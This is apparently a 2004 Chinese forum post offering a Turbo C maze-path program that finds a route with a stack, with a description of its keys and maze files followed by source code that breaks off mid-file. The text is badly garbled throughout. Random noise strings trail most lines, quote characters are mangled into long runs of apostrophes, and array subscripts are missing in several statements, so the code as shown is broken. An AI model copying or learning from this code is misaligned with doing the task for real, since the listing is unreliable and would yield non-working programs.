QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7622|回复: 11
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
- }6 J3 L# i8 j1 Y! P7 V8 \< align=left>程序目的:7 @/ w  ^  E  ^' B' Z/ G" A
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并; Y) E% P4 O9 j) |4 B1 c, [
显示在屏幕上。6 y( G7 i6 e" v; S1 [
程序实现:
4 c* g0 ^& v( i/ m0 W可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
& s' Z4 s  Z% J! O文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载, m; v3 }( [  _( v3 F* j& ?
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫. H2 V, A: u  d% f' \3 L
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
% M  f# f$ ^2 |$ \- J7 U否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
0 p- t% f# o* Q, D" k用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
( H/ B+ c  a* X" Q8 U将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,& o; M/ Y; T& {+ H* S
找到路径时,屏幕下方会出现Path found,否则出现Path not found。
& h6 P* l7 v, H8 V4 s* `程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。( H  c) I5 @9 E) |) N/ [
不可以在VC上编译。8 g2 V; A2 v8 C
下载DOS版和windows版的迷宫游戏全部代码% _  U# D) X& X9 {; F3 D
用户名:migong
% p( B: c$ ~# x- n8 _9 f7 w----------------------------------------------------------------------------------
" }) s- f+ ?" j' z$ m. g/*" `/ {7 t8 \: h- X/ ]1 I. {/ Q$ W
MazePath Demo BY Turbo C 2.0
, _. A2 n2 {) d- l& n- t+ ~) P9 `Copyright(c) RoverUnion. All right reserved.
0 E9 y8 |2 c) Q3 [1 U8 vFilename: Maze.c' r5 t% B8 V6 x  Q8 S. Z6 U
Author Dongchengyu.% I1 `8 m) w# f
Ver 1.10$ ?  s" o1 s% u. g; G4 B
*/9 _9 v4 Y1 v" P6 h- f
#include &lt;stdio.h&gt;
, g. r; m3 e* r3 D7 ?0 a" L9 S# `#include &lt;stdlib.h&gt;
6 i2 D. v8 v3 V2 x8 M#include &lt;malloc.h&gt;# s( V: o3 H7 A1 y. q1 X
#include &lt;conio.h&gt;
: }2 x  g; f% N* c6 K4 |) y$ D#include &lt;dos.h&gt;# b. e) ~2 y7 u
#define OK 1# a: x' k. b; C+ }' L2 R
#define ERROR 0
5 U/ w. O5 H; ]2 L5 z. K#define TRUE 1' h( J" V  u9 W4 ]  U. P, F9 C& B
#define FALSE 0" K, }& g5 e0 O6 {& {
#define F9 0x43# H5 _; o4 C$ L  F
#define Esc 0x1b
( B3 O( c% Q6 x$ S! g+ b#define Del 0x53
7 f  P& z. P( i+ T& K& A* B#define Home 0x47
+ o: Z" ]' K8 J#define End 0x4f
6 t0 U: O7 g! t) p1 E, l#define Space 0x20" |! _3 ]9 e# ?: ?3 l
#define Up 0x48
9 X: r0 k. S+ C6 @% _) I$ Y7 Z! s#define Down 0x50* X% n; U1 [0 S% i  @' c
#define Left 0x4b4 I2 S& u9 r' x9 O. z
#define Right 0x4d
: K( z: z5 a3 a3 J#define Enter 0x0d+ J$ C% G( o) p6 _% q9 v
#define F2 0x3c
  ~' e+ H6 b8 F% @; }6 f  |$ g6 f#define F3 0x3d6 d6 N  ?4 U+ X3 ?( a6 t; S# O
#define STACK_INIT_SIZE 200
: l/ \* }+ O8 w. B$ M5 v9 z- B#define STACKINCREMENT 102 K* F; A( F. q- B- y9 Z( X
typedef int Boolean;
+ Y; g- f3 o5 v- k) M3 ]typedef int Status;
) A7 l% G7 j+ e4 ?' Rtypedef struct {
, m% P% ^7 R0 d- Wint x;2 A4 m% ]4 f- l6 k/ S9 g
int y;/ @% |5 W4 X$ |4 r2 ?
} PosType;
* `) X6 }* o- a9 otypedef struct {
2 n2 o. B( i% c; J# uint ord;$ T, P" X2 W4 ~) j2 O. i+ Q7 x
PosType seat;
1 F4 V3 |5 {6 _. H7 ?int di;) m) i. d& f& V, x" ]4 u
} SElemType;8 N8 J* K9 L* V; {* h
typedef struct {% E4 g: `. i0 X3 {0 b0 _
int td;. y* W! Z$ I9 q, z7 n* H* Y
int foot;' H! ?6 \' ~9 F, i* f
int mark;; e; n, b, N0 {. a+ _8 s* T
} MazeType;( d# Q& F8 R- T! [0 i
typedef struct {
* g/ v+ a+ P1 ~" f8 r! Y: X8 OSElemType *base;
6 U3 v. h7 N* J# c& e- l* T. K) FSElemType *top;
' P; b5 A; M6 N$ F& f/ Vint stacksize;
. Q9 V5 L. {9 K1 w! m$ y} Stack;
# a2 L0 v0 `  E+ rint Maze[20][30];
2 H4 l+ E. _& N. J( kMazeType maze[20][30];5 {1 P7 J9 a! V7 D' y* r
PosType StartPlace;
5 _1 v4 r) b# d1 e! u. H% vPosType EndPlace;
! Y+ c& y7 ~+ @6 n2 aint count;5 F" B- R$ `6 G  K
int m,n;
- U4 ?5 o0 |' ^$ |$ FBoolean b_start=FALSE,b_end=FALSE;
. |" `5 i) x' m% Y, Cvoid CreatMaze(void);
. D. [6 M& Y! a. {$ n7 c! d( AStatus SaveMaze(char *filename);% g$ F& z2 B4 N0 ^+ K
Status LoadMaze(char *filename);
9 |8 f/ o+ O+ G  o. j; cvoid Error(char *message);5 }, s/ ?2 e9 r* M2 Y. i
Status InitStack(Stack *s);6 E3 @" S6 ^- m, U% S
Status DestroyStack(Stack *s);
* n+ W' ?9 y" p; U$ H% }Status ClearStack(Stack *s);
% d: j. A- E+ u/ XBoolean StackEmpty(Stack *s);' V0 C+ w1 s; T* M4 E
int StackLength(Stack *s);
) J7 Q! y; d7 Z* h+ C4 f: SStatus Push(Stack *s,SElemType e);3 X' C' E- }# }9 n9 ~% m- {- I
SElemType Pop(Stack *s,SElemType e);
5 ?5 [+ y2 W7 r* `/ n0 {Status GetTop(Stack *s,SElemType *e);2 ^  S: M; ]+ b; k2 L9 h
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));& E; ]2 b1 A8 d" n  [/ e+ o
Boolean Pass(PosType curpos);
4 X4 V' H3 T- z+ C0 o5 vvoid MarkPrint(PosType seat);  E" F. J6 Y5 n0 z( R
void FootPrint(PosType curpos);0 i1 w9 H7 ]' z( \6 y0 Z2 [0 T4 D
PosType NextPos(PosType seat,int di);
6 x2 }8 p- ]2 ?5 S7 E# b$ g0 qStatus MazePath(PosType start,PosType end);
3 K0 S( A8 a8 q' T5 U9 ]7 Hvoid CreatMaze(void)
3 f- ^. f4 \, U! O/ |/* Form the maze. */9 c( b: I4 s1 k0 S
{" y9 C8 Q0 ]% N7 E- k+ f$ U
void Error(char *message);
5 z( N$ E( z1 p8 ?. S9 gStatus SaveMaze(char *filename);
% g6 G' S3 Z1 _$ c/ hStatus LoadMaze(char *filename);
) Q: {+ F7 z7 c1 C0 R9 y+ h. |int i,j;
. T$ ]' I9 L7 l+ Eint x,y;7 V$ R* j! V* i1 U# z7 L* I
char c;5 a# @/ `0 k/ K9 F! h% T
char savename[12],loadname[12];$ h3 _) U; H8 u) |2 F. I0 G: t0 b
Boolean flag=FALSE,load=FALSE;
" e% o8 N1 z. ]9 _. o4 t8 P, u3 Xclrscr();' K7 a* w% r9 o" F8 m8 d3 Y# U
printf("Menu:\n\n");
$ {+ E3 V+ @+ O; K; R6 ~8 _. G& rprintf("1.Load Mazefile*.dd)\n\n");9 r* G4 u  m6 }4 g
printf("2.Input Maze:\n\n");
5 R1 W0 h% I+ w3 B$ G$ U+ I. M" N# C/ wprintf("Input your choice: ");
2 ^3 x6 A# C! c+ d5 Cdo' S2 @: i' R1 J; K
{$ {# Y! |% u, Z; J1 @. B5 x
c=getch();
* Q* Q2 d* j: N( q" {# J/ Bswitch(c)- _6 x6 M6 Q) H; d: {# V
{: M. z' {4 a/ c, |4 @- E
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;% d! F" J" C& m- w
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
: W5 V& T5 M5 }case Esc: sleep(1); exit(1);, I6 \. J  o1 X' A
default: break;
: Z  T! K# \5 i* s; [& s1 K# G}
/ g; y/ Y% j* T# V$ F) m}
7 y1 _* l+ i, M" n0 T- n5 y- i$ k5 Dwhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
' M  }5 q! U" \+ e( `% ?# Rif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')7 Y) I  Q& G8 a8 k# E/ h
{$ u: L2 C7 O+ M3 U3 n  ~
printf("\n\nLoadName: ");) ~0 R1 z" r8 ]2 M5 D
scanf("%s",loadname);! m3 F, T( t1 {6 |! A
if(LoadMaze(loadname))
! j0 J) O% P3 p6 [) ]{; @2 J  Y# \! }& h* x- A; {
sleep(1); load=TRUE;: \8 r- R$ H9 N9 A2 d; Z$ L' J
}
( a7 u7 Z0 ]1 B6 belse { gotoxy(1,9); printf("Load fail! "); }
; l1 W4 r  m! d. s0 l}
* y( R; s5 N8 [, d" Zif(!load)9 T2 H) m9 j7 ^# _
{* C1 L+ T( M7 A4 U
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
5 ^4 S( {, a) a" s- x* I7 Pprintf("\nInput Length :\n");
. }6 n5 i. s* [3 z: hscanf("%d",&amp;m);8 k. |. V4 |, K( N8 d, y
printf("\nInput Width :\n");- I8 \) L% z" H) `
scanf("%d",&amp;n);3 n# A1 {) `5 D: A
if(m&lt;4||n&lt;4) Error("Input");
& k1 z& [+ v: \/ t6 Dif(m&gt;30||n&gt;20) Error("Maze too large");) u3 h* s8 q5 A' ?: i
for(i=0;i&lt;30;i++)7 R2 X: S% [4 U- z/ I3 N
for(j=0;j&lt;20;j++)2 W8 l5 t* W8 M  v$ v
Maze[j]=2;+ k8 [7 N$ V. o- u8 X, m
StartPlace.x=0;
, p- [. Y! n( v0 \. y3 ^% f; |0 k( @StartPlace.y=0;$ J1 Y; }6 \0 W
EndPlace.x=0;  W% V6 ]1 v4 Z" T! I9 _, @' O
EndPlace.y=0;" f, f, K5 Z; _. S+ i7 Y
clrscr();
# d6 u6 R! k$ G) Zprintf("\n");
8 I- i, |9 T$ m7 }8 A1 Qfor(i=1;i&lt;=n;i++)% `, c! L) `4 B2 _% T& x/ U
{
  N0 O9 {% L8 I& T! s0 [. J( R# S: xfor(j=1;j&lt;=m;j++)  N1 G8 `. ~/ y
{
) y/ U  {& [( N0 a$ K( \  m! jprintf(" #");" L0 U. `/ a7 d/ l) V$ d1 s2 z
Maze[i-1][j-1]=0;; E+ w' O& @3 K0 n' `, F: m
}) r6 D1 d" ~  J
printf("\n");
; q! J: m  v% C7 h. Y# t}5 r& C2 c  |- J8 C, C0 S: M9 c1 ^, G: J
}
2 V. d& f! v+ I5 E! c. \; D" @gotoxy(65,5);* C* f7 O, y0 \/ ]& T# h
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
. L, N' w) q+ u% Jgotoxy(65,7);
2 d* h' l+ I# ^" R+ R0 P" Q. vprintf("Start:Home");/ P$ L) \, l* X/ n0 C  z
gotoxy(65,9);
/ f" O3 i) N& Z9 k1 eprintf("End:End");
- ^7 y5 Q3 }# l' |9 n9 e8 wgotoxy(65,11);
8 D/ C4 d3 B8 b  N; Q# Yprintf("Delete Wallel");
, n) z' m" O8 ]; ugotoxy(65,13);) z# L* \# ?+ C6 x* o
printf("Enter Wall:Enter");
/ v) D# ?9 x, l$ b1 qgotoxy(65,15);. e8 j: I, l* X
printf("Save Maze:F2");
0 {; c% V0 E) k4 }7 q, V7 qgotoxy(65,17);
! @% n6 ~% B* M6 \- Uprintf("Complete:F9");
6 _+ v1 M8 {: U9 E  r9 ~gotoxy(65,19);
4 z6 O( Y- ~3 O- Q, oprintf("Exit:Esc");( ^' O5 ~1 b6 w% `8 h
gotoxy(4,3);
1 s( X1 N4 z- b$ Q# f; z% }; Cx=4;y=3;
5 o1 w, x5 F7 z4 V3 Wdo# {9 h# z; [7 P) E6 U
{
& z+ \/ E) ?6 {7 Ec=getch();
2 \' `# W) O* P2 |switch(c)
- M% T" D' ~  E; Y; F& K{. j0 q; L  y7 D
case Up: if(y&gt;3) { y--; gotoxy(x,y); }! X3 r; r# Q7 X% _( \  m
break;
& A7 o3 Z; ]6 B: v% v' ~1 n3 q: Bcase Down: if(y&lt;n) { y++; gotoxy(x,y); }
, N! Z2 w- \7 X, |break;
. l) j# B. ]) W1 W! M( \& B! lcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }8 d; j: H+ D2 P& T' M6 a+ M
break;2 L. O8 o* \  P( a) p' z6 I: F
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
5 m3 ^3 T5 s( H$ m9 c( f8 w9 Zbreak;# m' O- F1 U+ c
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
3 R2 _7 s, k- k' R9 K5 a2 d7 pif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;1 t1 j1 _  {* F; S0 w+ |
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);( Y: I: f% {! l4 g3 i
break;
9 U% B$ {/ ~4 _/ Vcase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;8 D" B4 P: W4 a  J7 C1 E
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;* y* S3 R  C! {  }4 f8 p  i
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);1 p5 S% l! L/ i
break;; t2 L* ?9 Q/ y- T$ z1 C
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)4 T& w3 |) b, |0 o* V: D- P
{
! K, ^! @0 i8 Z5 F2 s$ W7 cStartPlace.x=x/2-1;
9 [7 w5 o, c5 B7 ?StartPlace.y=y-2;
, u# i. Z: Y  L* I$ [5 `0 rputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');' M) ~, A5 z; {1 Z; x2 P+ a
gotoxy(x,y);) P& p: F. g/ a1 J( ]' `; t
b_start=TRUE;
) K5 E! B, e" y6 q/ j  {- Y" }3 g}; N: v2 {6 A' R" R0 J* Q
break;6 g2 U8 D' I- N( T
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)9 ~  I* S0 O1 T, v7 f, e4 Z. x" F
{3 j6 g$ j. j$ ~% q5 j# J( K0 m
EndPlace.x=x/2-1;
# s3 u& ^1 f3 ^/ ~' y# D5 ZEndPlace.y=y-2;, `7 v7 s0 P3 L+ h8 K2 ]6 ~! \
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');2 \: n4 l3 Q; f' j1 N3 v( j
gotoxy(x,y);6 z& }$ Z- R0 J( H/ Q) N
b_end=TRUE;' t- `1 Z  Y5 x! Z4 P7 b5 a* z
}
5 Z) u4 H: ~( z* q$ _& E, dbreak;
  b, s& f! s' g% Fcase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);  `8 o% U7 Q- f( M# t
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
# a; y5 K: v/ {! F/ icase F2: gotoxy(2,22);) f2 x, k. S3 ?4 V( K- k" }+ ?/ p
printf("Savename:");. f' Q) T  [0 G2 M* d% J4 A
scanf("%s",savename);
, S4 X3 N! R: L/ xgotoxy(2,22);3 a; R& l! c( H
if(SaveMaze(savename)) printf("Save OK! ");) E4 u- l: `+ I1 u. `
else printf("Save fail! ");
0 T6 [  V0 P/ ^" b8 g9 Lsleep(1);+ y4 k( o1 t7 w* D
gotoxy(2,22);
" D& x' e% J0 y5 Qprintf(" ");
5 s, S( |5 A. p& y6 p& D, Bgotoxy(x,y);
+ l! S# Q5 G8 A5 U' fbreak;
$ o6 H, t4 O8 y1 t2 z$ h- G. [default: break;7 A2 X9 l! e8 O8 t' _; X1 ]. y
}+ {6 q! }5 t3 z
}0 k; ]' B1 T6 {' t$ j, s5 R
while(!flag);3 w( R' V' Z3 v5 O' P
for(i=0;i&lt;30;i++)6 @4 e- z) D7 z0 I0 j* l: Y
for(j=0;j&lt;20;j++)
- u0 [) b# X0 l/ N{
1 }9 w. e2 x; u7 T* @maze[j].td=Maze[j];" N6 Y& _0 Z4 @% j+ R- l
maze[j].mark=0;
* j- I( J0 i/ \- c8 wmaze[j].foot=0;4 _  O3 r7 _/ @" U" Z% D! e& g
}
+ O8 o9 J: b( o0 d1 S0 g' h, C7 k}2 W4 w) J% ^4 }- P( m0 m1 q
Status LoadMaze(char *file)+ j$ N$ g8 y1 t
/* The maze has been loaded. */
: J, c( q! }3 P' P3 F  D{
$ D5 r4 V$ a, F* i; J& g  fFILE *fp;
( R# s# n! x* c0 Q5 Mchar *buffer;) h& R4 g- J1 C6 T& ~* ?
char ch;
9 z' j8 S( C) {: }% b0 C: M  X" _7 fint i=0,j,k;
0 S  v4 N6 C! K2 o7 N# ZBoolean len=FALSE,wid=FALSE;0 ~+ i3 L9 e) @4 @
if((fp=fopen(file,"r"))==NULL)2 [0 l1 u6 R, j; h$ \- J% \4 H
return ERROR;2 v# K" I% u7 q  ^
buffer=(char *)malloc(600*sizeof(char));% S5 A# a" ~6 ?; B. F4 m* r
ch=fgetc(fp);, {1 N9 T3 K$ M5 w- A/ R
while(ch!=EOF)
# T& w, Z2 S) f; p) Q8 n{! Q) N* v  j7 t: j/ a7 N
buffer=ch;% T) |* M7 w/ b& f
i++;
) s! c- ^$ x5 u% q- B8 uch=fgetc(fp);
/ z8 `/ u$ i- ]8 Z3 S+ _}6 M) \! ~# R! V+ H4 x
m=30;n=20;1 g0 x  Z  j& q, v
for(i=0;i&lt;600;i++)
) ]0 c" T( g* w; ~3 }# W2 v{
6 n# T- G$ O0 X6 Z7 g: Lj=i/30; k=i%30;1 {$ C! K: K: I, n2 u/ _- b8 t6 ^
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
* t4 y* v, [* m3 c8 u2 K' _- \) {if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }7 B- C8 w6 e) b4 r/ G* {4 {
switch(buffer)6 _; ~# {5 w# v
{2 Q" u! I3 {' a7 B5 o- o  O2 v0 |
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;/ V& S+ u$ N0 J* p
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;" h1 D( Q1 b- R1 @, L$ C
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;% E! y- T2 k1 V0 P: D0 a4 e
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
; d' j( `# r  b5 R. A; c/ DStartPlace.x=k;
8 x" K# p! }/ a8 J* EStartPlace.y=j;
" L! E3 E5 c$ S2 M  ?b_start=TRUE;4 E1 y# O1 v( C4 c
break;
0 Z# v/ N9 Y6 E# `! X$ S! zcase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
1 j, i- v; [" SEndPlace.x=k;0 T" }1 Q7 O* ?% W
EndPlace.y=j;- _/ g: t) w6 W
b_end=TRUE;
( h& c# s7 I& K& I% M( ~break;
8 g( n+ N: Q: O6 J% ddefault : break;  _# G3 n3 z7 j
}
" A# ^5 h$ T. r( ^. \+ c}- D+ E1 _: [) ~$ b
fclose(fp);
& H  n0 \$ M: c# h# ^clrscr();7 ^1 H! _3 V5 W9 X8 N  `2 r
for(i=0;i&lt;30;i++)
; k, k/ I' ?7 i2 Pfor(j=0;j&lt;20;j++)
, f! K, U1 A% C{/ h' }8 w3 ^- n4 d7 Y6 B# O
maze[j].td=Maze[j];2 o( Y3 F1 W& \4 E
maze[j].foot=0;
7 i0 i; s1 l) pmaze[j].mark=0;
% b7 {- l8 @1 T2 t/ dif(Maze[j]==0)
" j9 ~7 I& Y$ ~* Y2 `2 K7 O& f{
# Y8 \1 l) Q; \, d. wgotoxy(2*i+2,j+2);
& Z! Z1 U4 G( h# Y+ ^% a8 M4 l! N$ sputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');% g5 D& X$ r0 `  l3 q6 I  L( f
}
% Y' v* W1 l0 w, {}
3 }) L) u' G) Ugotoxy(2*StartPlace.x+2,StartPlace.y+2);) X+ Y0 J$ s# Z9 t& f
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
$ H8 Y) _* i2 n' Z+ Tgotoxy(2*EndPlace.x+2,EndPlace.y+2);
  ^# B2 v3 n$ F/ Hputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');  j- ~( S1 n! r6 v8 @
return OK;
5 t" Y* g" e; s, q- R}, v! W$ ]  Y2 z2 e; r$ m! j
Status SaveMaze(char *filename)
. K) b+ G) V2 ~/* The maze has been saved. */
2 X: u4 V+ G9 l: S{
0 I4 X- Q5 \8 k; G! S: zFILE *fp;
' s; M4 g4 L  i( uchar *buffer;: q* A! z5 a( H: e
int i,j,k;
, x1 ]  F/ Y- \fp=fopen(filename,"wb");. L3 Z$ ^6 }4 e( w* y) `
buffer=(char *)malloc(600*sizeof(char));
( K, _3 Q0 E% o; `% n6 o$ ofor(i=0;i&lt;600;i++)$ [5 H, J1 I, r: _( U! N
{- |# n# P1 n+ A$ g4 @$ a* v2 C
j=i/30; k=i%30;* I$ U# j! e) G  _8 L
switch(Maze[j][k])
6 U' |6 f$ ]/ e{8 _# S, m: H6 [# ^- a
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;( _7 ]6 z; H1 g
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;- {7 W: r: J- f7 n2 a* @; ?4 ~
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;5 \  L7 y; b3 M: {% w" A
default : Error("Write"); break;+ I' R" M0 f4 K) Z: K
}
4 F& K3 {2 T9 n- t" Iif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
: @4 o& P4 w& @7 ^if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
  H5 _0 d; y1 B' S& V}
' B. T% I4 n# F+ ffwrite(buffer,600,1,fp);1 y3 D8 u9 x# J  a! [/ j8 D5 ~
free(buffer);% I  A0 m. i& f+ v9 P" ?
fclose(fp);- a* Z! J: r' h) Z. b
return OK;
: X! p( k( `* F3 k$ i}
# M& z8 ?3 R8 P, }6 ^7 [void Error(char *message)) e" b/ x' U: I( t$ v+ Q
{
3 E* N  v. `1 \8 i2 k2 ^clrscr();9 G( _! j/ Q* u+ ^
fprintf(stderr,"Error:%s\n",message);1 K" {4 t7 T5 g  |( W* ?, o2 M1 T
exit(1);' C+ O) t5 y- u5 O
} /* Error */
. r" |* i7 W2 J/ i. ~; d- \
& |+ t4 b& u9 NStatus InitStack(Stack *s)
2 @: S/ ^  m7 o, O+ T, U/* The stack s has been created and is initialized to be empty. */
; Q/ c7 F4 g) B5 @{5 G) q' g# B" P  k
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
- f) K- x4 j( fif(!s-&gt;base) Error("Overflow");) r3 Y2 k/ D5 h5 s2 r0 K! C1 w' c
s-&gt;top=s-&gt;base;
, Y- F6 [9 i" \! X( Js-&gt;stacksize=STACK_INIT_SIZE;$ O9 w+ _: v# f1 b' ?
return OK;
5 ]2 p6 s, h# s& \: C; C0 b} /* InitStack */3 ^" r2 q& U7 d% |, o; ?
Status DestroyStack(Stack *s)% D5 G& k( x$ g! X3 i
/* The stack s has been destroyed. */
1 D" n+ D/ }+ H{
" o) m& w  [3 m$ T' b; Z7 T$ e, F  g& es-&gt;top=NULL;# k( Q, w& c) ^/ [: @; L4 o
s-&gt;stacksize=0;; t$ n! {4 ]1 ]5 i  ]8 \
free(s-&gt;base);
: l6 t) F3 Q# _+ R$ ws-&gt;base=NULL;2 N. Q( U" Z" w4 `/ R. {- P/ e
return OK;1 t6 b1 Y* y# e/ M
} /* DestroyStack */
+ F$ M' o* J; R6 d# Y2 h' `Status ClearStack(Stack *s)  M" r0 ]) t: z8 A) H
/* The stack has been clear to be maximum. */
( S3 H/ c! g0 C: ~, M{
6 S( w% I. U- i5 x4 Bs-&gt;top=s-&gt;base;/ ]/ \0 r( v' m3 I( J: F2 @
s-&gt;stacksize=STACK_INIT_SIZE;' P' e. v: ~( D
return OK;
; P1 k0 Z9 Z. n* D, A: D} /* ClearStack */
: A1 S9 r* K/ \& ~1 t* sBoolean StackEmpty(Stack *s)0 T. q( U! L2 v
/* Check if the stack s is empty. */
, S: u, N5 x. k1 j{) e- M4 U$ k7 O
if(s-&gt;top==s-&gt;base) return TRUE;
5 _6 ]- I1 g5 }: qelse return FALSE;
' w" F! Q& f/ V2 ~} /* StackEmpty */
0 F4 M# f6 }6 l  ]9 i+ Pint StackLength(Stack *s)& h+ H% M& u$ ]& g' o" f
/* Gain the length of the stack s. */8 \4 M4 b& R& j; r6 M+ \) ]6 g
{
9 Y7 x( J  N7 e) @" V5 m2 U; Xif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
2 w0 P8 h/ [/ j7 _5 Melse return 0;
, E4 C- R4 r5 z) @5 @5 C} /* StackLength */
5 V. r! P7 G3 x+ g* ]Status Push(Stack *s,SElemType e)* \' N3 t  y6 q# U" ^/ C1 T& V8 S
/* The element e has been pushed into the stack s. */) U3 c6 z5 X6 Z! t- B- Y2 L' i! k
{3 a7 Y! u" e. k
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
, X1 O) A+ b+ D{
$ K2 X6 f( r! W3 a( I' rs-&gt;base=(SElemType *)realloc(s-&gt;base,$ Q6 X7 w: e9 W5 k6 P5 w
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
: r& [9 B% Q% U: Z# Q; wif(!s-&gt;base) Error("Overflow");4 v8 X( _. k+ P3 G
s-&gt;top=s-&gt;base+s-&gt;stacksize;
3 D" A: U' C+ y- A: r0 e$ As-&gt;stacksize+=STACKINCREMENT;
5 o& L0 k* ^$ r  L: a  |) j6 _}
0 `# @4 h0 i8 @; q*s-&gt;top++=e;- t5 V9 ?( @7 q* [5 V) T2 T. z
return OK;/ B3 z; z1 F' f  Z6 w0 D9 `
} /* Push */
0 U! P' }) U0 m* U# DSElemType Pop(Stack *s,SElemType e)4 [9 g& w6 ~: M6 \' I$ p
/* The element e has been removed from the stack s. */& `0 S3 j% [) T  v1 u, g/ f
{
7 E& g$ h7 s% [' Q; I3 {if(s-&gt;top==s-&gt;base) Error("op");
% H1 y, g: H: o" |, D1 je=*--s-&gt;top;9 u6 s0 |+ J4 n
return e;
9 ^0 Z5 z2 s+ _* l( v" x} /* Pop */& V7 ^% o7 y4 O! t% o# H
Status GetTop(Stack *s,SElemType *e)- S( Q2 k" }$ m8 w
/* The element e has got to the top of the stack s.*/
' |6 t# v" F' |8 u( w' z. I{( P9 k7 C3 y$ n+ i/ k: I# a
if(s-&gt;top==s-&gt;base) Error("GetTop");
5 N+ R# k! N0 p) ]" v*e=*(s-&gt;top-1);
9 V4 P/ |4 U+ w$ O9 v* p9 B5 areturn OK;! g0 f- C: {+ G$ x5 H7 w
} /* GetTop */, V2 e7 G! E& b  Q4 ?" c
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
; \  C' K7 h4 Z4 R+ N/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))# H/ _3 n( }' m* J
{
  H/ [" F: _. |+ PSElemType p;
+ A3 f& k; F8 h: N) q5 k6 b. x6 Gint result;
8 _: A% o! V' R( Y% jif(s-&gt;top==s-&gt;base) return ERROR;2 w+ D+ O+ Y( A+ h) f
p=s-&gt;base;# j' w6 f! c# V1 w9 }# O7 Y) Q
while(!(p==s-&gt;top))( q; U- ?  D* H- Y
{
) ~' p# t. {" G# l: K$ o( Zresult=(*visit)(p);, g- s/ C9 \; u
p++;
8 r! R# B4 a1 K2 E* g5 m5 g7 w/ l}
! a/ z. l# D. {  Dreturn OK;* z  _8 I. D7 [2 t2 K6 [( F
} */
: k8 P% {$ I4 [  x& }( h7 BBoolean Pass(PosType curpos)
. M0 x  P! \) J+ [8 Q  r9 V/* Check if the current position can be passed. */
+ L# s4 E- L5 \# a{7 [( I" f8 B, ], S" y
if(maze[curpos.x][curpos.y].td==1&amp;&amp;  O$ V; n% I; `
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)9 z" D7 X' ]2 |1 h! Q
return TRUE;9 H1 ~+ |, R. `# h. T8 ]
else return FALSE;
